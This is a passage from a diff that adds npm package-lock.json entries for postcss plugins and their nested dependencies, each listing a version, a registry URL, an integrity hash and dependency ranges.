"integrity": "sha1-u9hZPFwf0uPRwyK7kl3K6Nrk1i0=", + "dev": true, + "dependencies": { + "postcss": "^5.0.11", + "postcss-value-parser": "^3.1.2" + } + }, + "node_modules/postcss-discard-comments": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-2.0.4.tgz", + "integrity": "sha1-vv6J+v1bPazlzM5Rt2uBUUvgDj0=", + "dev": true, + "dependencies": { + "postcss": "^5.0.14" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-2.1.0.tgz", + "integrity": "sha1-uavye4isGIFYpesSq8riAmO5GTI=", + "dev": true, + "dependencies": { + "postcss": "^5.0.4" + } + }, + "node_modules/postcss-discard-empty": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-2.1.0.tgz", + "integrity": "sha1-0rS9nVztXr2Nyt52QMfXzX9PkrU=", + "dev": true, + "dependencies": { + "postcss": "^5.0.14" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-0.1.1.tgz", + "integrity": "sha1-ix6vVU9ob7KIzYdMVWZ7CqNmjVg=", + "dev": true, + "dependencies": { + "postcss": "^5.0.16" + } + }, + "node_modules/postcss-discard-unused": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-2.2.3.tgz", + "integrity": "sha1-vOMLLMWR/8Y0Mitfs0ZLbZNPRDM=", + "dev": true, + "dependencies": { + "postcss": "^5.0.14", + "uniqs": "^2.0.0" + } + }, + "node_modules/postcss-filter-plugins": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/postcss-filter-plugins/-/postcss-filter-plugins-2.0.3.tgz", + "integrity": "sha512-T53GVFsdinJhgwm7rg1BzbeBRomOg9y5MBVhGcsV0CxurUdVj1UlPdKtn7aqYA/c/QVkzKMjq2bSV5dKG5+AwQ==", + "dev": true, + "dependencies": { + "postcss": "^5.0.4" + } + }, + "node_modules/postcss-load-config": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-1.2.0.tgz", + "integrity": "sha1-U56a/J3chiASHr+djDZz4M5Q0oo=", + "dev": true, + "dependencies": { + "cosmiconfig": "^2.1.0", + "object-assign": "^4.1.0", + "postcss-load-options": "^1.2.0", + "postcss-load-plugins": "^2.3.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/postcss-load-options": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-load-options/-/postcss-load-options-1.2.0.tgz", + "integrity": "sha1-sJixVZ3awt8EvAuzdfmaXP4rbYw=", + "dev": true, + "dependencies": { + "cosmiconfig": "^2.1.0", + "object-assign": "^4.1.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/postcss-load-plugins": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/postcss-load-plugins/-/postcss-load-plugins-2.3.0.tgz", + "integrity": "sha1-dFdoEWWZrKLwCfrUJrABdQSdjZI=", + "dev": true, + "dependencies": { + "cosmiconfig": "^2.1.1", + "object-assign": "^4.1.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/postcss-merge-idents": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-2.1.7.tgz", + "integrity": "sha1-TFUwMTwI4dWzu/PSu8dH4njuonA=", + "dev": true, + "dependencies": { + "has": "^1.0.1", + "postcss": "^5.0.10", + "postcss-value-parser": "^3.1.1" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-2.0.2.tgz", + "integrity": "sha1-I9kM0Sewp3mUkVMyc5A0oaTz1lg=", + "dev": true, + "dependencies": { + "postcss": "^5.0.4" + } + }, + "node_modules/postcss-merge-rules": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-2.1.2.tgz", + "integrity": "sha1-0d9d+qexrMO+VT8OnhDofGG19yE=", + "dev": true, + "dependencies": { + "browserslist": "^1.5.2", + "caniuse-api": "^1.5.2", + "postcss": "^5.0.4", + "postcss-selector-parser": "^2.2.2", + "vendors": "^1.0.0" + } + }, + "node_modules/postcss-merge-rules/node_modules/browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", + "dev": true, + "dependencies": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/postcss-message-helpers": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postcss-message-helpers/-/postcss-message-helpers-2.0.0.tgz", + "integrity": "sha1-pPL0+rbk/gAvCu0ABHjN9S+bpg4=", + "dev": true + }, + "node_modules/postcss-minify-font-values": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-1.0.5.tgz", + "integrity": "sha1-S1jttWZB66fIR0qzUmyv17vey2k=", + "dev": true, + "dependencies": { + "object-assign": "^4.0.1", + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.2" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-1.0.5.tgz", + "integrity": "sha1-Xb2hE3NwP4PPtKPqOIHY11/15uE=", + "dev": true, + "dependencies": { + "postcss": "^5.0.12", + "postcss-value-parser": "^3.3.0" + } + }, + "node_modules/postcss-minify-params": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-1.2.2.tgz", + "integrity": "sha1-rSzgcTc7lDs9kwo/pZo1jCjW8fM=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.1", + "postcss": "^5.0.2", + "postcss-value-parser": "^3.0.2", + "uniqs": "^2.0.0" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-2.1.1.tgz", + "integrity": "sha1-ssapjAByz5G5MtGkllCBFDEXNb8=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.2", + "has": "^1.0.1", + "postcss": "^5.0.14", + "postcss-selector-parser": "^2.0.0" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", + "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", + "dev": true, + "dependencies": { + "postcss": "^6.0.1" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-modules-extract-imports/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-modules-extract-imports/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz", + "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", + "dev": true, + "dependencies": { + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-modules-local-by-default/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz", + "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", + "dev": true, + "dependencies": { + "css-selector-tokenizer": "^0.7.0", + "postcss": "^6.0.1" + } + }, + "node_modules/postcss-modules-scope/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-modules-scope/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-modules-scope/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-modules-scope/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-modules-scope/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz", + "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", + "dev": true, + "dependencies": { + "icss-replace-symbols": "^1.1.0", + "postcss": "^6.0.1" + } + }, + "node_modules/postcss-modules-values/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-modules-values/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-modules-values/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-modules-values/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-modules-values/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-1.1.1.tgz", + "integrity": "sha1-757nEhLX/nWceO0WL2HtYrXLk/E=", + "dev": true, + "dependencies": { + "postcss": "^5.0.5" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.0.tgz", + "integrity": "sha1-lQ4Me+NEV3ChYP/9a2ZEw8DNj4k=", + "dev": true, + "dependencies": { + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-display-values/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-display-values/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.0.tgz", + "integrity": "sha1-7pNDq5gbgixjq3JhXszNCFZERaM=", + "dev": true, + "dependencies": { + "cssnano-util-get-arguments": "^4.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-positions/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-positions/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-positions/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-positions/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-positions/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-positions/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-positions/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-positions/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.0.tgz", + "integrity": "sha1-txHFks8W+vn/V15C+hALZ5kIPv8=", + "dev": true, + "dependencies": { + "cssnano-util-get-arguments": "^4.0.0", + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + 